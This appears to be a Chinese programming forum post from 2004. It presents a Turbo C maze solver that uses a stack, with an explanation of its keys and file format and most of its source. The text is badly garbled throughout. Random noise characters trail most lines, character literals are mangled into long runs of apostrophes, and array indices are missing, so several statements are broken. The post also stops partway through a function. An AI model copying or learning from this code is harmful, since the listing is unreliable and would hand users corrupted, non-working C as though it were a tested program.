QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7657|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
#
发表于 2004-10-4 02:34 |只看该作者 |正序浏览
|招呼Ta 关注Ta
<DIV  align=left>% Z4 j0 n% M0 a6 C4 \
< align=left>程序目的:
. ?& m$ N3 s5 Q7 l7 m8 d3 I3 ?, F输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并6 K( A6 ^1 ?' D, r! b( _# C
显示在屏幕上。9 b- @; ^8 N: ~6 O2 I2 f
程序实现:$ ?$ [* w" b1 t/ R' f: a% A
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的* S) m& @! }! }) ]! Y
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
7 P9 r. m* p( r0 A- H入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫0 ~9 ^+ @  X1 X5 d9 K
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
$ U1 h* N, j' @+ L否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
, u8 M) l' X9 f! m; P: l! V6 I2 {! s用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
4 V' p* ]9 S! E* {5 j2 c将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,* V: U. C) c5 J3 t) }  a1 D
找到路径时,屏幕下方会出现Path found,否则出现Path not found。! ], k$ a0 l3 l" k  R) z
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。+ o  {& v  I1 i; U4 W7 F
不可以在VC上编译。! I) X) v8 W0 w3 [" |
下载DOS版和windows版的迷宫游戏全部代码
: p! a& Q- T# J0 F  v* d* B: d+ |用户名:migong - J9 @/ S% M( M8 j7 B8 J& y
----------------------------------------------------------------------------------( R) C3 s+ ^& @1 j1 A$ ?' T
/*
* z# }8 W6 z/ s. r. ^MazePath Demo BY Turbo C 2.0
( h; O5 ?5 m6 I3 R9 \0 b8 eCopyright(c) RoverUnion. All right reserved.+ Z3 |+ `6 ~7 B3 @0 N# X
Filename: Maze.c# i! e; y1 E9 d: N8 i2 P  e; n  |4 c
Author Dongchengyu.: q, d: f/ r) I5 x0 E4 V
Ver 1.10$ d0 h* o3 l( \2 j
*/
' Q) ]8 F# @7 {7 N3 F6 J#include &lt;stdio.h&gt;4 g% B: v+ r2 j
#include &lt;stdlib.h&gt;
( A9 O7 m' n% e# Q5 i/ \- U#include &lt;malloc.h&gt;
4 G* k# U! v4 ]0 I) ]+ h#include &lt;conio.h&gt;8 M% e) U0 v2 j8 q: U" p
#include &lt;dos.h&gt;
9 G3 E8 A6 o8 `4 D8 ~4 V# {#define OK 16 @0 [( Y9 Z9 F0 h9 C+ ]
#define ERROR 02 Z& A# ^! s) F6 h
#define TRUE 1* b$ R' s0 d' q. {, r% i
#define FALSE 0
9 I4 a+ s& Z5 v' q/ I#define F9 0x43
, z4 F3 b0 o& o1 _' x#define Esc 0x1b
9 `2 R0 \, Y( p' N#define Del 0x537 ^9 g) D$ i3 i1 K5 ~
#define Home 0x47
: q% Y4 x7 I' _#define End 0x4f
$ V5 D8 [3 l; o4 y/ \  t$ ?#define Space 0x206 v! o% p9 K. |1 _7 Y9 K2 g
#define Up 0x48
$ c8 t. f9 e: i  J3 d% N6 v+ _#define Down 0x50
8 q- t) t* z9 _; Q1 M  C% h#define Left 0x4b3 @' R' `: Q/ E! r$ s
#define Right 0x4d
1 v; W. I1 W/ O0 d#define Enter 0x0d* n) b1 I& {8 ~3 Y- ?
#define F2 0x3c
3 I( k8 g- }: U! u' k/ t; f#define F3 0x3d! f" d, d# B! R8 C, {. \
#define STACK_INIT_SIZE 200
* Y, {! R4 [. f$ B2 z' d3 E- Z#define STACKINCREMENT 100 B6 E0 W/ }: q) x
typedef int Boolean;
3 f& m; w3 S. C& o' _0 w0 E! |typedef int Status;" L8 q& k& q7 B. b+ V
typedef struct {! H& S. Z/ M: k' S/ C; |! ~
int x;
  L9 j& z' t+ z& Y3 dint y;
, ^% T( n  J% P9 o( ]' t} PosType;; k1 o( I7 R  W+ r
typedef struct {, B7 A6 \2 V2 M. G
int ord;& L5 S7 v6 v8 g: ~  e
PosType seat;# k. a5 ~* T6 `, Z
int di;
2 N' k# A: ^2 i0 @9 z0 R} SElemType;3 x1 a% G4 F# g( p  z
typedef struct {
: a5 X( |! Z4 t6 @  Nint td;
- z& d1 B$ \+ W& [4 _9 vint foot;, z$ v3 S) ^. [  b& M1 r
int mark;
# b) ]) _( x$ d0 v: s9 p/ {9 I8 U} MazeType;; q/ i4 a0 n( x8 |* D9 I$ B/ ]
typedef struct {8 c) x$ _+ c* d8 Y& N. B/ Q9 s9 h
SElemType *base;
0 n4 C6 R% E, |0 b( E: e( M; L$ nSElemType *top;
& i# ?: [0 E& _' o1 Z* s6 i, {- {int stacksize;" R$ ~- Q; q; R% ^' R( x! b1 y5 V
} Stack;2 z* k- G/ Q& p  `& g1 m; U9 I
int Maze[20][30];( A8 m' I- M' ]2 M9 h7 @
MazeType maze[20][30];) {% P+ m$ k& W- _
PosType StartPlace;' l& @0 c! M  W" o4 d- [
PosType EndPlace;
5 j9 G1 f9 ]3 v; q: E: kint count;
. |$ C! p* T- w3 z2 W4 Qint m,n;
' B, `4 ?: z/ S: VBoolean b_start=FALSE,b_end=FALSE;
, I/ E' X6 I+ `2 ~void CreatMaze(void);% {% z. ]  k  n$ {
Status SaveMaze(char *filename);
& Q; B5 g& Z7 t' ^! sStatus LoadMaze(char *filename);
, c9 n- X2 V. L+ w- ~void Error(char *message);9 g2 @0 W) S4 ?
Status InitStack(Stack *s);
7 m% Y! n% _8 Q1 h  O3 X7 M' I/ cStatus DestroyStack(Stack *s);
: f8 `2 I9 B3 u5 I" {Status ClearStack(Stack *s);
) }+ {0 `3 c1 J/ g# G9 WBoolean StackEmpty(Stack *s);
; N! Y$ E* E8 o0 u! N* K) u/ K7 qint StackLength(Stack *s);8 N% X; d1 I, e! y5 N- [9 u3 L
Status Push(Stack *s,SElemType e);
1 j) w$ a+ f6 c/ ySElemType Pop(Stack *s,SElemType e);
6 G$ u5 v' ]0 o+ f1 @. l; H8 r+ MStatus GetTop(Stack *s,SElemType *e);
" L. Z; n$ b$ ~8 F; K4 `) \# V, UStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
) A  v* }# j" v" ?6 l( lBoolean Pass(PosType curpos);3 i+ s. V$ B* _' d6 y# \
void MarkPrint(PosType seat);
+ S5 e4 `1 r, I7 uvoid FootPrint(PosType curpos);7 w- p3 a7 q9 O# q: W# y' @
PosType NextPos(PosType seat,int di);9 F8 K! N; ~2 I7 U8 r9 I; x
Status MazePath(PosType start,PosType end);
. }6 b/ O% M1 e2 B) R, A- bvoid CreatMaze(void)8 g9 W) ?* c# W: [- x4 ?8 U5 U( q
/* Form the maze. */
" |6 }' U% k" O& T; h$ J0 }{9 j8 \9 J" D! E( ]4 K1 Q
void Error(char *message);
# p% _# ^* L! F1 Q3 x) tStatus SaveMaze(char *filename);8 [* z5 T/ [5 f9 l1 \+ y7 a$ `8 b
Status LoadMaze(char *filename);- n( |* z4 Q8 x( \* `6 X; [
int i,j;
2 m8 x1 {% L1 `2 Sint x,y;
: c) |; F: {7 U, Uchar c;
, n; z5 v* S5 f4 lchar savename[12],loadname[12];. z& ^6 y" M) A3 ?+ Y) ^
Boolean flag=FALSE,load=FALSE;& f* D; F# Q# H4 _" A
clrscr();
3 c# o$ h5 z. l  ?printf("Menu:\n\n");7 y! v$ }! v# o$ G& h
printf("1.Load Mazefile*.dd)\n\n");
% Z" K& h+ b  E$ i0 i) Eprintf("2.Input Maze:\n\n");
8 H: a9 S; e9 s3 y* w- `printf("Input your choice: ");' C0 G7 T2 G" \+ f
do
7 u  e! K. i( p: @! ?( x! G{: h- \5 Z  ?+ ^1 F6 E) M3 i/ d+ Y
c=getch();3 T; ~- `+ b% Q2 v+ v
switch(c)
1 v) w' m) a6 B6 u( Q0 ~8 t{
! j# _; t3 r; }& Z4 qcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
* K& ^, m, i& E: E! Y7 U  Jcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
1 A1 Q2 Z5 v2 @! ]8 zcase Esc: sleep(1); exit(1);1 x2 n# C  W: C, c
default: break;
- K# L6 \& w' d8 |" A) L$ l: O+ s}' m, t- Q: c9 s+ ]. R1 H5 @& `$ S
}
' F" [7 ?( B, j4 vwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;& t+ ?" C% \! J0 K) T% f! t: s4 t* Q
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
$ T% l- j1 N0 ]$ \, v7 B{
# C  Y5 N" Y0 t# X* |. r/ N5 o* K: L$ Jprintf("\n\nLoadName: ");% G- M( j! w7 T% N& q
scanf("%s",loadname);
/ E9 G' n8 ]4 l+ R! D& T' wif(LoadMaze(loadname))
8 Y) a- c( ^7 v5 r{
% _1 N6 r) N$ ?5 Z7 W, ~( ~sleep(1); load=TRUE;
* H( y3 v/ L) W2 B7 f}
6 S7 k' Y1 X4 e# v% O8 z* k* s: O5 ~else { gotoxy(1,9); printf("Load fail! "); }' u7 ?. j; y2 d2 b! W/ T4 F' d& f
}8 P$ c* [6 |# Y7 R# ]& I2 H
if(!load)
- \2 p6 @  d: d{* ^9 Q4 @) O2 ~8 Y
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
' U  j& x* q  zprintf("\nInput Length :\n");
5 ^$ i) o; c  n" escanf("%d",&amp;m);
: U4 {8 O! Q: F- k0 Yprintf("\nInput Width :\n");
6 J( w0 N$ q6 Q$ t) }4 f& @" ^8 T8 Vscanf("%d",&amp;n);5 L" F1 t& M4 Q% L1 f7 t
if(m&lt;4||n&lt;4) Error("Input");
# c. b/ ~. U' x& pif(m&gt;30||n&gt;20) Error("Maze too large");
! J. H) v1 z: s8 }8 ifor(i=0;i&lt;30;i++)% U2 ~9 R5 ~5 N5 C* J8 C- K" p( D
for(j=0;j&lt;20;j++)& D8 b. d. B7 `6 c8 E
Maze[j]=2;  V8 S4 p( r9 i4 Z9 F
StartPlace.x=0;  @9 o5 l% x. r1 D
StartPlace.y=0;% R5 Z' J+ y% [& x- X
EndPlace.x=0;
& M6 }  e  P( l( U: z. ]( REndPlace.y=0;
) {+ m. o$ N% R8 B& {6 yclrscr();
, z8 j  y5 [  Q% Cprintf("\n");% q* z" d3 B& W" d: ?$ j
for(i=1;i&lt;=n;i++)/ N$ F) [7 o) ^' L3 L: i
{: n4 X! \; Z2 H( L1 N
for(j=1;j&lt;=m;j++)' U; h5 d7 M; S
{
6 z/ I. ^" ^. z/ W4 d. Pprintf(" #");3 B/ o" \2 A! B. J$ A
Maze[i-1][j-1]=0;
6 u9 \3 B$ h+ r0 K  F% u}
, q1 o. Z6 ?9 F+ U% t$ I: I7 lprintf("\n");
$ h( S+ ^/ _! Z4 i" J}2 q+ I, z4 X! x0 Q) y" I3 j
}
* z7 Z+ B/ C; t. W7 B, Sgotoxy(65,5);
' _" K6 I1 K- o( yprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");8 u0 \7 ?' }: L. a0 Z
gotoxy(65,7);
" X  C1 y2 K2 ?printf("Start:Home");; |6 _. ?6 p1 m9 l! I' F( ~
gotoxy(65,9);" R9 R# C6 i: [
printf("End:End");
3 }( y" Q2 V" g- Dgotoxy(65,11);
/ C1 k1 D2 B# C+ ?' q( N/ P% w( D1 zprintf("Delete Wallel");
7 Q* y6 z" a% Y. {$ B4 ?, B  jgotoxy(65,13);
5 c4 ^7 c7 o- Y3 n3 D! e6 uprintf("Enter Wall:Enter");
* i- K2 V3 a5 O' ?gotoxy(65,15);
9 [! v) k- ^. Z: @  aprintf("Save Maze:F2");2 T* s$ k: E+ F
gotoxy(65,17);
; K0 H/ D7 |9 C" Oprintf("Complete:F9");
: L) ]1 N0 ^! z+ n4 P5 q% sgotoxy(65,19);0 ^2 P, L0 x1 H3 I) W
printf("Exit:Esc");+ ?- L) N, c  Y( {
gotoxy(4,3);
7 y$ y1 k- t& g: g0 A! kx=4;y=3;
: a2 }/ O$ M5 ~' }  f1 V' Rdo  h) w8 M" H3 M+ i
{
- d! W! _, \" X- Z! J7 z. v/ Xc=getch();" [% ^0 {( ]; |
switch(c)
* g& q4 T% g( w4 Q  n{, l9 n  w4 R4 K) n$ U
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
- b- Q2 {/ X& Sbreak;
; f7 Z4 W7 T$ i! c# ^case Down: if(y&lt;n) { y++; gotoxy(x,y); }3 X  \) h+ W* \* s" M9 e' O' @9 @7 G1 k
break;: W- {4 _. ^- _* M1 E# G! i2 R4 f
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
6 ^3 L3 M9 u6 P8 |8 abreak;
% P) m3 S) C* C# q- wcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
$ i$ ?& I9 F& C4 Rbreak;
. O" t  D3 \. ~( ]8 A1 ]5 Ncase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
9 R' {$ Z# ^+ s. `if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;0 a. {$ J1 S3 o- Z0 _2 m5 k
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
) K9 [( h6 ^5 b! bbreak;) s; d# `% F% n% j6 D
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;/ N/ T: |2 `* G. H/ v! ^! a: L8 m
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
- w9 Y" i/ j8 F- eputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
" ~( H1 K' d$ G& _8 _7 }6 r8 i! pbreak;0 c! Y! l+ L/ V
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start). c2 K5 ?* C$ w/ V2 v
{
% j3 R6 |0 G1 Z: E2 s2 S% C: z* a8 b0 \StartPlace.x=x/2-1;$ Q! W5 |7 Q! o8 E& C3 U; X
StartPlace.y=y-2;
9 \. Q" s9 h/ zputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');% y/ i6 Q# v8 O0 x
gotoxy(x,y);2 M5 x9 U) W9 Q% X6 E) Q
b_start=TRUE;
1 h( z3 S" X5 a4 x9 G}9 H* V/ x3 d* t) q2 r& U* j
break;7 |5 m% w# r; e2 }8 N
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
7 i+ b% D- j) l2 |# y' G{
( f( |0 @. F5 r- FEndPlace.x=x/2-1;
2 G" b2 Z; w: |7 k  R2 xEndPlace.y=y-2;) h$ A2 A4 v+ a+ p
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');. i- G$ g% n( i1 y, C# H+ w+ c
gotoxy(x,y);
' F1 q9 `7 M% @b_end=TRUE;+ t9 h0 d; z' C/ R& Q
}, R: d( ^' G  ?# m5 D6 i9 B$ h3 s1 |2 J
break;
" E* c5 v9 E3 [* Dcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);8 K* L0 ]: e0 q& ]; {! E! K
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;2 L4 Z2 g* O, o: S2 l5 Z  H8 \
case F2: gotoxy(2,22);
; k5 ?7 @9 m; e! B1 m4 \1 Y4 Jprintf("Savename:");
3 h" P( f% `1 T0 z9 k# j9 Jscanf("%s",savename);( s' [1 V4 o# b+ U/ T
gotoxy(2,22);
# `& i5 |) ?5 x$ V( I% Wif(SaveMaze(savename)) printf("Save OK! ");! D' u5 O: S8 G2 L; F" ~
else printf("Save fail! ");% f- I, ]+ K, Y: u8 v% ^
sleep(1);9 \; e$ m5 ?1 s. ^( n" r! C; I
gotoxy(2,22);
- `1 m! C2 i" w7 X2 u* c8 pprintf(" ");
5 M( T9 o& m" y. ggotoxy(x,y);( E8 V4 ]  V* I/ t- M; t5 s
break;2 ?( o* m* z) Q6 I
default: break;
+ l9 W. r, S; E/ _- _# }, k}! v5 h1 m- G5 d6 M
}
  u" M" t( S2 [6 @while(!flag);
( F& u: w! o: Q! H7 N$ s; Hfor(i=0;i&lt;30;i++). z1 Q0 x( y& `) T5 C0 I  d
for(j=0;j&lt;20;j++)
5 X/ M/ l9 H3 z5 @) B* \{- `- x% k7 s8 J5 L* v( ]
maze[j].td=Maze[j];
+ }$ }6 ~# G# G0 V9 _$ e" |maze[j].mark=0;! u$ q) Q5 _& C
maze[j].foot=0;
  Z3 I  {9 \" N1 Z}
) W* A# ^  x* P+ z* z* K}! U( [4 N; R  f5 f' T3 W8 O
Status LoadMaze(char *file)
4 A( N$ k8 V0 [; s3 i/* The maze has been loaded. */% g. m; W+ V6 h8 c1 d  m# J' x; {
{
1 n; L, U# [$ J4 k* h$ EFILE *fp;
" ^# y+ v  S; G, P: l5 J3 Qchar *buffer;
8 @+ P2 L0 i. Y7 S. bchar ch;
! x# D  k- D- H& A; z1 S  \+ u9 ^. @( |int i=0,j,k;7 `7 g; v3 k& T& S4 f
Boolean len=FALSE,wid=FALSE;6 F4 K# B, V- s1 y# ]7 P( l8 m- s
if((fp=fopen(file,"r"))==NULL)
" B. E- D1 N- o, ?9 treturn ERROR;
# h& V  }6 Y( xbuffer=(char *)malloc(600*sizeof(char));: V0 w1 R5 W6 H8 L) s
ch=fgetc(fp);( o1 R9 ^# r" Q( u1 |
while(ch!=EOF)
6 O9 G! a! a0 e" k, r{$ i1 R* ^: h8 a
buffer=ch;
$ E  r# n' O0 `7 [) M  Li++;& x8 P- J4 F4 C; z8 _4 i4 o, |
ch=fgetc(fp);: z) p! h: X$ [0 c$ F, s# z
}+ k, J, b5 u# l
m=30;n=20;$ [8 Q! l% W. `- b5 H/ G- h
for(i=0;i&lt;600;i++)
7 v* d- W  |0 D3 s6 L% P3 B9 P- x{- {4 h  k% m0 ~" L. q0 W# y: k
j=i/30; k=i%30;$ {+ i1 M9 {, X- z5 Z+ F$ o+ h
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
# f9 Z" S8 z& t% k  I5 e* hif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }$ P( m- S5 N, o2 [1 t# F
switch(buffer)6 m7 V  i0 P" r
{
2 |  f, t: A/ [# y; n, e6 b. Xcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
  W  E- x& M6 o) d: P9 Scase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
0 W: v' {8 R$ v( xcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
! o) w2 ^; ~3 w) m" f7 Jcase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;7 U* r- T9 b$ I, E
StartPlace.x=k;: J9 v; G. e# P; t" {# M+ k- ?9 s
StartPlace.y=j;4 V4 d5 V$ Q0 @, J% z$ u. h( w
b_start=TRUE;
+ q) Q- ?5 w7 d5 B+ Ebreak;( b2 e4 }7 |: i
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
1 w, k8 H$ z, e- G8 ~; }. v7 qEndPlace.x=k;$ Z: ]6 ]! i" u0 G9 g9 v
EndPlace.y=j;
( k% j) Q1 m: ]b_end=TRUE;
7 }( J4 }! ]! Q9 tbreak;! b$ {9 J* F" Y; w* W
default : break;3 L( B( b( I, Z! P, W0 @! L& A
}
! r% `2 j) v1 M: d; S/ Z+ B/ J}: ]6 ^! g. \+ X5 D
fclose(fp);
5 \$ U3 O4 w7 b1 C3 X. _% E+ eclrscr();  z2 l3 \, ^& v9 x% O
for(i=0;i&lt;30;i++)
6 R$ t2 A" V; S( W7 Wfor(j=0;j&lt;20;j++)1 t0 X; V( m) ~
{
* x3 y$ q3 M) y5 {3 ]7 X( I+ }maze[j].td=Maze[j];
; }0 C) q' O/ \0 @0 A$ o! B/ Hmaze[j].foot=0;
1 L3 N  t3 r" a3 O& \maze[j].mark=0;
) Q( \; N% [% E& N# f. Uif(Maze[j]==0)
. f- K! B1 U; h/ H{
; R5 \9 b1 ?! {, A! ~9 x8 P* }gotoxy(2*i+2,j+2);
0 j3 E$ }0 g+ S) K1 ]putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');+ D8 d" M: _$ l1 l( t# k. a! V
}
3 v# r, W7 y5 S1 A}/ F5 `6 \! c" [- S8 D( A
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
. ?' ]" Y* l1 x# a3 lputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
; T4 G" y# B' }4 [gotoxy(2*EndPlace.x+2,EndPlace.y+2);
. R# u; q+ {  q# _! K2 N8 ?putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');. t/ }: n9 y( C1 L2 q5 i9 n- Z
return OK;
: C+ o) L4 E' X. j0 s2 R}
: M* O* X& \+ s, K1 b' D6 SStatus SaveMaze(char *filename)& G3 s, a$ M! w% v. t( k
/* The maze has been saved. */
0 `3 u) {+ S! c{
% ^* P0 C) [3 hFILE *fp;
7 t" K* h7 Q' P. ?0 \char *buffer;
9 L3 d. d; y  K9 b5 lint i,j,k;8 {- l( V" g* F9 F3 ~6 I, X
fp=fopen(filename,"wb");
# l- f* [' n' c/ f* O% X0 Dbuffer=(char *)malloc(600*sizeof(char));
+ }( d/ v3 C9 g/ I8 _6 wfor(i=0;i&lt;600;i++)( q) G2 l7 z3 H0 k. @3 w8 c4 Z( N0 B
{
8 i+ @7 B6 z% Jj=i/30; k=i%30;
& c* H7 d; V" ?$ S0 {0 {: Q; q: dswitch(Maze[j][k])3 _* L9 S0 \2 v
{# Q' W/ s+ g7 n  k. d* t
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;' Q! i, o. {3 K- P( N/ V
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
+ t& Y/ X& |9 C, Y1 Acase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
; v: D9 _- @! u! _9 W  fdefault : Error("Write"); break;; Y) i" s& ?8 j
}
2 U: F! e4 L( {" F, p* bif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
9 k. g) V) i/ p/ fif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';2 r. r7 ^; |; Y' `
}
% u: @9 H8 u, ]fwrite(buffer,600,1,fp);( E. u% q: s% j0 s2 j/ G
free(buffer);
% f% w0 _1 M4 i7 efclose(fp);
/ Z9 p* d: E: W8 O. n) N5 O7 areturn OK;
4 G, }; l5 c* P* n$ k0 j}
. b: x' v9 X; t% `1 _1 `void Error(char *message)- Q8 p6 ~# r. g( z
{
! @# K1 I( \! ^9 c, eclrscr();
8 D/ |0 k" [% U% N6 k. f2 zfprintf(stderr,"Error:%s\n",message);
; m: C( J1 Q2 A" [$ X6 \/ [exit(1);' r. g6 d# N  i. T
} /* Error */9 I9 @0 V& @3 s1 o

. e; c- a8 t2 e; @# KStatus InitStack(Stack *s)
4 q+ Z1 i2 Z* C4 G. `/ |. w' c/* The stack s has been created and is initialized to be empty. */( C, |3 \! H5 R8 n, J7 b" s
{
- U$ N& D0 B- As-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
- W- G# |1 b5 A2 B- x. u) Rif(!s-&gt;base) Error("Overflow");
9 L9 l' G/ l/ _  a0 k" ys-&gt;top=s-&gt;base;# I& H' R/ I! r; C
s-&gt;stacksize=STACK_INIT_SIZE;
0 L1 ]9 l5 \3 z: G, B% y0 b5 I2 mreturn OK;
9 f" V, X, A  {1 m} /* InitStack */
/ ^# i; }) |0 @' E/ aStatus DestroyStack(Stack *s)" b/ |* X8 I* _: X
/* The stack s has been destroyed. */
2 ~' U$ W, t$ ]# q{" B2 Y$ M- f5 h* Q' U
s-&gt;top=NULL;5 B! h& s& V* S( U
s-&gt;stacksize=0;
; j  \5 L! K" Nfree(s-&gt;base);- f, m! _$ X* h- Y8 R
s-&gt;base=NULL;  e8 h0 A$ t: J8 s* C# I) {3 T) u( n
return OK;
% O4 f, V' g6 E9 [# I) S3 W2 W} /* DestroyStack */6 G& l* s& z. h+ T; [2 b3 Q
Status ClearStack(Stack *s)0 S5 G, B* c; v9 f4 R/ W
/* The stack has been clear to be maximum. */
2 |2 _. N/ X: V: H: N{
5 H+ j+ d8 R3 R, I& g# ^3 Ks-&gt;top=s-&gt;base;! g8 q1 ^6 V8 x/ k; c1 U- G
s-&gt;stacksize=STACK_INIT_SIZE;+ ^: z0 Q% Q5 D: l3 L- P
return OK;
. Q0 {1 {$ @1 R: e  {} /* ClearStack */, J3 C6 g6 F! O6 q5 h6 t$ B5 I
Boolean StackEmpty(Stack *s)5 M) i& W" \" i6 C3 Z5 m4 h8 ^- d
/* Check if the stack s is empty. */
" R7 C, y) U. |" t! i' U{& ~, q# i" n  ^3 P: b- W
if(s-&gt;top==s-&gt;base) return TRUE;
; d; a- f5 D) l. _; Lelse return FALSE;
0 e' s' F7 d: M/ U" x2 ^} /* StackEmpty */4 d" R8 p' ]+ x' y
int StackLength(Stack *s): H, I% P, U4 d6 Q( Q  s
/* Gain the length of the stack s. */
  @4 u9 [* A* d( K0 r: H{$ f) {- u& Z0 J; c4 F
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);& p6 ~) O! d9 q' Q$ E
else return 0;
' \3 T- I/ q: ?8 d2 F0 v9 U} /* StackLength */
( A$ g/ B! O- P; d7 E3 vStatus Push(Stack *s,SElemType e)' b; d1 K1 b- I$ q- d% F  s
/* The element e has been pushed into the stack s. */! A. A/ R# k1 p9 r
{* P5 K3 m7 O+ d+ I
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize); |5 U% \. t' l( M5 W$ I2 F! z& M
{
/ I, I+ M  e9 h- Y) w$ Xs-&gt;base=(SElemType *)realloc(s-&gt;base,
# z1 n5 `6 _  d1 j  Y(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));  q- V3 B' _* f
if(!s-&gt;base) Error("Overflow");
/ T2 W' ?7 |8 T, q& k, k" J! t0 [7 ?s-&gt;top=s-&gt;base+s-&gt;stacksize;
( l* i2 Y7 w2 V0 m* H/ t3 Ks-&gt;stacksize+=STACKINCREMENT;
" C7 m3 g: X0 `}% ~+ I& r! y8 ~/ K. g3 m
*s-&gt;top++=e;
' H- o; j  K' Q( ~return OK;; H% g) F% Q: U8 [+ u
} /* Push */% m( J$ g2 \; A' K$ D  _
SElemType Pop(Stack *s,SElemType e)
; U  @+ e3 m. b. x: h! W: u; G- Y/* The element e has been removed from the stack s. */# [& n5 D# v1 s" v9 J
{
4 f7 g& y) d$ c' cif(s-&gt;top==s-&gt;base) Error("op");
/ ~* M: }) D/ Y, I( X  k' e, M3 h# je=*--s-&gt;top;9 v+ i  n2 w1 M- B" B
return e;* V/ B  J0 B0 m& Q6 Q
} /* Pop */8 \# p7 Z; l1 c/ j& P$ Z
Status GetTop(Stack *s,SElemType *e)
6 o0 X, T2 n- ~, h- q/* The element e has got to the top of the stack s.*/  y+ Y. m4 u* |. a
{4 E4 U4 g) I$ w& d
if(s-&gt;top==s-&gt;base) Error("GetTop");" q6 B/ T, S! u3 \0 g" [1 g
*e=*(s-&gt;top-1);5 B# b# y7 T! R: P) U. {, U! c
return OK;% m8 r) _6 a2 c5 G* @6 l
} /* GetTop */% M0 B/ n' e: R# d3 @2 d" j9 p! N
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
% m% U, m3 B4 e& M% ]& _/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
) e3 U( z: E) Z' z{% T& @# s# b$ i8 u
SElemType p;
$ @0 }# Y( F4 c  G$ a; M2 Iint result;! m" b7 _9 w. |9 v6 }& x
if(s-&gt;top==s-&gt;base) return ERROR;! [* L3 T+ z5 G+ b) ^3 o2 O3 t" u
p=s-&gt;base;
4 m) R7 E# o- K3 w* J2 swhile(!(p==s-&gt;top))
. V  ?6 ?$ B8 s  C  n{
1 g+ |" C! ?0 K$ Hresult=(*visit)(p);/ }$ S6 b, H; t7 D8 S; l- R0 X- K
p++;4 k7 p: G6 w1 m
}) j7 C0 Q2 Q" ]8 m
return OK;' A4 m8 P  f( W- \7 t& t5 \
} */4 k4 f2 U$ T! j
Boolean Pass(PosType curpos)
8 Y1 C7 [4 l! i; d0 E* n' C8 ?/ u: S/* Check if the current position can be passed. */5 D7 N% h) H7 U2 O) V
{
# B0 |7 {0 L# ^" B1 bif(maze[curpos.x][curpos.y].td==1&amp;&amp;1 M. f% R  A: O* a5 [
